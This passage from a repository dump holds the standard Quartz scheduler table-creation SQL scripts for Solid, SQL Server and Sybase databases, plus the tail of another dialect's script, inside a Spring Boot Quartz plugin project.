NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL, \n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    NEXT_FIRE_TIME FIXED(13) NULL,\n    PREV_FIRE_TIME FIXED(13) NULL,\n    PRIORITY FIXED(13) NULL,\n    TRIGGER_STATE VARCHAR(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR(8) NOT NULL,\n    START_TIME FIXED(13) NOT NULL,\n    END_TIME FIXED(13) NULL,\n    CALENDAR_NAME VARCHAR(200) NULL,\n    MISFIRE_INSTR FIXED(2) NULL,\n    JOB_DATA LONG BYTE NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP) REFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP) \n);\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS\n(\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    REPEAT_COUNT FIXED(7) NOT NULL,\n    REPEAT_INTERVAL FIXED(12) NOT NULL,\n    TIMES_TRIGGERED FIXED(10) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 FIXED(10) NULL,\n    INT_PROP_2 FIXED(10) NULL,\n    LONG_PROP_1 FIXED(13) NULL,\n    LONG_PROP_2 FIXED(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CRON_TRIGGERS\n(\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    CRON_EXPRESSION VARCHAR(120) NOT NULL,\n    TIME_ZONE_ID VARCHAR(80),\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS\n(\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    BLOB_DATA LONG BYTE NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CALENDARS\n(\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    CALENDAR LONG BYTE NOT NULL,\n    PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR(200) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR(95) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    FIRED_TIME FIXED(13) NOT NULL,\n    SCHED_TIME FIXED(13) NOT NULL,\n    PRIORITY FIXED(13) NOT NULL,\n    STATE VARCHAR(16) NOT NULL,\n    JOB_NAME VARCHAR(200) NULL,\n    JOB_GROUP VARCHAR(200) NULL,\n    IS_NONCONCURRENT VARCHAR(1) NULL,\n    REQUESTS_RECOVERY VARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE QRTZ_SCHEDULER_STATE\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    LAST_CHECKIN_TIME FIXED(13) NOT NULL,\n    CHECKIN_INTERVAL FIXED(13) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE QRTZ_LOCKS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_solid.sql",
    "content": "\nDROP TABLE qrtz_locks;\nDROP TABLE qrtz_scheduler_state;\nDROP TABLE qrtz_fired_triggers;\nDROP TABLE qrtz_paused_trigger_grps;\nDROP TABLE qrtz_calendars;\nDROP TABLE qrtz_blob_triggers;\nDROP TABLE qrtz_cron_triggers;\nDROP TABLE qrtz_simple_triggers;\nDROP TABLE qrtz_simprop_triggers;\nDROP TABLE qrtz_triggers;\nDROP TABLE qrtz_job_details;\n\ncreate table qrtz_job_details (\n    sched_name varchar(120) not null,\n\tjob_name varchar(80) not null,\n\tjob_group varchar(80) not null,\n\tdescription varchar(120) ,\n\tjob_class_name varchar(128) not null,\n\tis_durable varchar(5) not null,\n    is_nonconcurrent varchar(5) not null,\n    is_update_data varchar(5) not null,\n\trequests_recovery varchar(5) not null,\n\tjob_data long varbinary,\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(80) not null,\n\ttrigger_group varchar(80) not null,\n\tjob_name varchar(80) not null,\n\tjob_group varchar(80) not null,\n\tdescription varchar(120) ,\n\tnext_fire_time numeric(13),\n\tprev_fire_time numeric(13),\n\tpriority integer,\n\ttrigger_state varchar(16) not null,\n\ttrigger_type varchar(8) not null,\n\tstart_time numeric(13) not null,\n\tend_time numeric(13),\n\tcalendar_name varchar(80),\n\tmisfire_instr smallint,\n\tjob_data long varbinary,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(80) not null,\n\ttrigger_group varchar(80) not null,\n\trepeat_count numeric(13) not null,\n\trepeat_interval numeric(13) not null,\n\ttimes_triggered numeric(13) not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    trigger_name VARCHAR(200) NOT NULL,\n    trigger_group VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INTEGER NULL,\n    INT_PROP_2 INTEGER NULL,\n    LONG_PROP_1 NUMERIC(13) NULL,\n    LONG_PROP_2 NUMERIC(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(5) NULL,\n    BOOL_PROP_2 VARCHAR(5) NULL,\nPRIMARY KEY (sched_name,trigger_name,trigger_group),\nFOREIGN KEY (sched_name,trigger_name,trigger_group) REFERENCES qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\n\ncreate table qrtz_cron_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(80) not null,\n\ttrigger_group varchar(80) not null,\n\tcron_expression varchar(120) not null,\n\ttime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_blob_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(80) not null,\n\ttrigger_group varchar(80) not null,\n\tblob_data long varbinary ,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\n    sched_name varchar(120) not null,\n\tcalendar_name varchar(80) not null,\n\tcalendar long varbinary not null,\nprimary key (sched_name,calendar_name)\n); \n\ncreate table qrtz_paused_trigger_grps\n  (\n    sched_name varchar(120) not null,\n    trigger_group  varchar(80) not null, \nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_fired_triggers(\n    sched_name varchar(120) not null,\n\tentry_id varchar(95) not null,\n\ttrigger_name varchar(80) not null,\n\ttrigger_group varchar(80) not null,\n\tinstance_name varchar(80) not null,\n\tfired_time numeric(13) not null,\n\tsched_time numeric(13) not null,\n\tpriority integer not null,\n\tstate varchar(16) not null,\n\tjob_name varchar(80) null,\n\tjob_group varchar(80) null,\n\tis_nonconcurrent varchar(5) null,\n\trequests_recovery varchar(5) null,\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_scheduler_state \n  (\n    sched_name varchar(120) not null,\n    instance_name varchar(80) not null,\n    last_checkin_time numeric(13) not null,\n    checkin_interval numeric(13) not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks\n  (\n    sched_name varchar(120) not null,\n    lock_name  varchar(40) not null, \nprimary key (sched_name,lock_name)\n);\n\ncommit work;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_sqlServer.sql",
    "content": "--# thanks to George Papastamatopoulos for submitting this ... and Marko Lahma for\n--# updating it.\n--#\n--# In your Quartz properties file, you'll need to set \n--# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.MSSQLDelegate\n--#\n--# you shouse enter your DB instance's name on the next line in place of \"enter_db_name_here\"\n--#\n--#\n--# From a helpful (but anonymous) Quartz user:\n--#\n--# Regarding this error message:  \n--#\n--#     [Microsoft][SQLServer 2000 Driver for JDBC]Can't start a cloned connection while in manual transaction mode.\n--#\n--#\n--#     I added \"SelectMethod=cursor;\" to my Connection URL in the config file. \n--#     It Seems to work, hopefully no side effects.\n--#\n--#\t\texample:\n--#\t\t\"jdbc:microsoft:sqlserver://dbmachine:1433;SelectMethod=cursor\"; \n--#\n--# Another user has pointed out that you will probably need to use the \n--# JTDS driver\n--#\n\nUSE [enter_db_name_here]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[FK_QRTZ_TRIGGERS_QRTZ_JOB_DETAILS]') AND OBJECTPROPERTY(id, N'ISFOREIGNKEY') = 1)\nALTER TABLE [dbo].[QRTZ_TRIGGERS] DROP CONSTRAINT FK_QRTZ_TRIGGERS_QRTZ_JOB_DETAILS\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[FK_QRTZ_CRON_TRIGGERS_QRTZ_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISFOREIGNKEY') = 1)\nALTER TABLE [dbo].[QRTZ_CRON_TRIGGERS] DROP CONSTRAINT FK_QRTZ_CRON_TRIGGERS_QRTZ_TRIGGERS\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[FK_QRTZ_SIMPLE_TRIGGERS_QRTZ_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISFOREIGNKEY') = 1)\nALTER TABLE [dbo].[QRTZ_SIMPLE_TRIGGERS] DROP CONSTRAINT FK_QRTZ_SIMPLE_TRIGGERS_QRTZ_TRIGGERS\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[FK_QRTZ_SIMPROP_TRIGGERS_QRTZ_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISFOREIGNKEY') = 1)\nALTER TABLE [dbo].[QRTZ_SIMPROP_TRIGGERS] DROP CONSTRAINT FK_QRTZ_SIMPROP_TRIGGERS_QRTZ_TRIGGERS\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_CALENDARS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_CALENDARS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_CRON_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_CRON_TRIGGERS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_BLOB_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_BLOB_TRIGGERS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_FIRED_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_FIRED_TRIGGERS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_PAUSED_TRIGGER_GRPS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_PAUSED_TRIGGER_GRPS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_SCHEDULER_STATE]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_SCHEDULER_STATE]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_LOCKS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_LOCKS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_JOB_DETAILS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_JOB_DETAILS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_SIMPLE_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_SIMPLE_TRIGGERS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_SIMPROP_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_SIMPROP_TRIGGERS]\nGO\n\nIF EXISTS (SELECT * FROM dbo.sysobjects WHERE id = OBJECT_ID(N'[dbo].[QRTZ_TRIGGERS]') AND OBJECTPROPERTY(id, N'ISUSERTABLE') = 1)\nDROP TABLE [dbo].[QRTZ_TRIGGERS]\nGO\n\nCREATE TABLE [dbo].[QRTZ_CALENDARS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [CALENDAR_NAME] [VARCHAR] (200)  NOT NULL ,\n  [CALENDAR] [IMAGE] NOT NULL\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_CRON_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [CRON_EXPRESSION] [VARCHAR] (120)  NOT NULL ,\n  [TIME_ZONE_ID] [VARCHAR] (80) \n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_FIRED_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [ENTRY_ID] [VARCHAR] (95)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [INSTANCE_NAME] [VARCHAR] (200)  NOT NULL ,\n  [FIRED_TIME] [BIGINT] NOT NULL ,\n  [SCHED_TIME] [BIGINT] NOT NULL ,\n  [PRIORITY] [INTEGER] NOT NULL ,\n  [STATE] [VARCHAR] (16)  NOT NULL,\n  [JOB_NAME] [VARCHAR] (200)  NULL ,\n  [JOB_GROUP] [VARCHAR] (200)  NULL ,\n  [IS_NONCONCURRENT] [VARCHAR] (1)  NULL ,\n  [REQUESTS_RECOVERY] [VARCHAR] (1)  NULL \n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_PAUSED_TRIGGER_GRPS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL \n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_SCHEDULER_STATE] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [INSTANCE_NAME] [VARCHAR] (200)  NOT NULL ,\n  [LAST_CHECKIN_TIME] [BIGINT] NOT NULL ,\n  [CHECKIN_INTERVAL] [BIGINT] NOT NULL\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_LOCKS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [LOCK_NAME] [VARCHAR] (40)  NOT NULL \n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_JOB_DETAILS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [JOB_NAME] [VARCHAR] (200)  NOT NULL ,\n  [JOB_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [DESCRIPTION] [VARCHAR] (250) NULL ,\n  [JOB_CLASS_NAME] [VARCHAR] (250)  NOT NULL ,\n  [IS_DURABLE] [VARCHAR] (1)  NOT NULL ,\n  [IS_NONCONCURRENT] [VARCHAR] (1)  NOT NULL ,\n  [IS_UPDATE_DATA] [VARCHAR] (1)  NOT NULL ,\n  [REQUESTS_RECOVERY] [VARCHAR] (1)  NOT NULL ,\n  [JOB_DATA] [IMAGE] NULL\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_SIMPLE_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [REPEAT_COUNT] [BIGINT] NOT NULL ,\n  [REPEAT_INTERVAL] [BIGINT] NOT NULL ,\n  [TIMES_TRIGGERED] [BIGINT] NOT NULL\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_SIMPROP_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [STR_PROP_1] [VARCHAR] (512) NULL,\n  [STR_PROP_2] [VARCHAR] (512) NULL,\n  [STR_PROP_3] [VARCHAR] (512) NULL,\n  [INT_PROP_1] [INT] NULL,\n  [INT_PROP_2] [INT] NULL,\n  [LONG_PROP_1] [BIGINT] NULL,\n  [LONG_PROP_2] [BIGINT] NULL,\n  [DEC_PROP_1] [NUMERIC] (13,4) NULL,\n  [DEC_PROP_2] [NUMERIC] (13,4) NULL,\n  [BOOL_PROP_1] [VARCHAR] (1) NULL,\n  [BOOL_PROP_2] [VARCHAR] (1) NULL,\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_BLOB_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [BLOB_DATA] [IMAGE] NULL\n) ON [PRIMARY]\nGO\n\nCREATE TABLE [dbo].[QRTZ_TRIGGERS] (\n  [SCHED_NAME] [VARCHAR] (120)  NOT NULL ,\n  [TRIGGER_NAME] [VARCHAR] (200)  NOT NULL ,\n  [TRIGGER_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [JOB_NAME] [VARCHAR] (200)  NOT NULL ,\n  [JOB_GROUP] [VARCHAR] (200)  NOT NULL ,\n  [DESCRIPTION] [VARCHAR] (250) NULL ,\n  [NEXT_FIRE_TIME] [BIGINT] NULL ,\n  [PREV_FIRE_TIME] [BIGINT] NULL ,\n  [PRIORITY] [INTEGER] NULL ,\n  [TRIGGER_STATE] [VARCHAR] (16)  NOT NULL ,\n  [TRIGGER_TYPE] [VARCHAR] (8)  NOT NULL ,\n  [START_TIME] [BIGINT] NOT NULL ,\n  [END_TIME] [BIGINT] NULL ,\n  [CALENDAR_NAME] [VARCHAR] (200)  NULL ,\n  [MISFIRE_INSTR] [SMALLINT] NULL ,\n  [JOB_DATA] [IMAGE] NULL\n) ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_CALENDARS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_CALENDARS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [CALENDAR_NAME]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_CRON_TRIGGERS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_CRON_TRIGGERS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_FIRED_TRIGGERS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_FIRED_TRIGGERS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [ENTRY_ID]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_PAUSED_TRIGGER_GRPS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_PAUSED_TRIGGER_GRPS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [TRIGGER_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_SCHEDULER_STATE] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_SCHEDULER_STATE] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [INSTANCE_NAME]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_LOCKS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_LOCKS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [LOCK_NAME]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_JOB_DETAILS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_JOB_DETAILS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [JOB_NAME],\n    [JOB_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_SIMPLE_TRIGGERS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_SIMPLE_TRIGGERS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_SIMPROP_TRIGGERS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_SIMPROP_TRIGGERS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_TRIGGERS] WITH NOCHECK ADD\n  CONSTRAINT [PK_QRTZ_TRIGGERS] PRIMARY KEY  CLUSTERED\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  )  ON [PRIMARY]\nGO\n\nALTER TABLE [dbo].[QRTZ_CRON_TRIGGERS] ADD\n  CONSTRAINT [FK_QRTZ_CRON_TRIGGERS_QRTZ_TRIGGERS] FOREIGN KEY\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) REFERENCES [dbo].[QRTZ_TRIGGERS] (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) ON DELETE CASCADE\nGO\n\nALTER TABLE [dbo].[QRTZ_SIMPLE_TRIGGERS] ADD\n  CONSTRAINT [FK_QRTZ_SIMPLE_TRIGGERS_QRTZ_TRIGGERS] FOREIGN KEY\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) REFERENCES [dbo].[QRTZ_TRIGGERS] (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) ON DELETE CASCADE\nGO\n\nALTER TABLE [dbo].[QRTZ_SIMPROP_TRIGGERS] ADD\n  CONSTRAINT [FK_QRTZ_SIMPROP_TRIGGERS_QRTZ_TRIGGERS] FOREIGN KEY\n  (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) REFERENCES [dbo].[QRTZ_TRIGGERS] (\n    [SCHED_NAME],\n    [TRIGGER_NAME],\n    [TRIGGER_GROUP]\n  ) ON DELETE CASCADE\nGO\n\nALTER TABLE [dbo].[QRTZ_TRIGGERS] ADD\n  CONSTRAINT [FK_QRTZ_TRIGGERS_QRTZ_JOB_DETAILS] FOREIGN KEY\n  (\n    [SCHED_NAME],\n    [JOB_NAME],\n    [JOB_GROUP]\n  ) REFERENCES [dbo].[QRTZ_JOB_DETAILS] (\n    [SCHED_NAME],\n    [JOB_NAME],\n    [JOB_GROUP]\n  )\nGO\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_sybase.sql",
    "content": "/*==============================================================================================*/\n/* Quartz database tables creation script for Sybase ASE 12.5 */\n/* Written by Pertti Laiho (email: pertti.laiho@deio.net), 9th May 2003 */\n/* */\n/* Compatible with Quartz version 1.1.2 */\n/* */\n/* Sybase ASE works ok with the SybaseDelegate delegate class. That means in your Quartz properties */\n/* file, you'll need to set: */\n/* org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.SybaseDelegate */\n/*==============================================================================================*/\n\nuse your_db_name_here\ngo\n\n/*==============================================================================*/\n/* Clear all tables: */\n/*==============================================================================*/\n\nIF OBJECT_ID('QRTZ_FIRED_TRIGGERS') IS NOT NULL \ndelete from QRTZ_FIRED_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_PAUSED_TRIGGER_GRPS') IS NOT NULL \ndelete from QRTZ_PAUSED_TRIGGER_GRPS\ngo\nIF OBJECT_ID('QRTZ_SCHEDULER_STATE') IS NOT NULL \ndelete from QRTZ_SCHEDULER_STATE\ngo\nIF OBJECT_ID('QRTZ_LOCKS') IS NOT NULL \ndelete from QRTZ_LOCKS\ngo\nIF OBJECT_ID('QRTZ_SIMPLE_TRIGGERS') IS NOT NULL \ndelete from QRTZ_SIMPLE_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_SIMPROP_TRIGGERS') IS NOT NULL \ndelete from QRTZ_SIMPROP_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_CRON_TRIGGERS') IS NOT NULL \ndelete from QRTZ_CRON_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_BLOB_TRIGGERS') IS NOT NULL \ndelete from QRTZ_BLOB_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_TRIGGERS') IS NOT NULL \ndelete from QRTZ_TRIGGERS\ngo\nIF OBJECT_ID('QRTZ_JOB_DETAILS') IS NOT NULL \ndelete from QRTZ_JOB_DETAILS\ngo\nIF OBJECT_ID('QRTZ_CALENDARS') IS NOT NULL \ndelete from 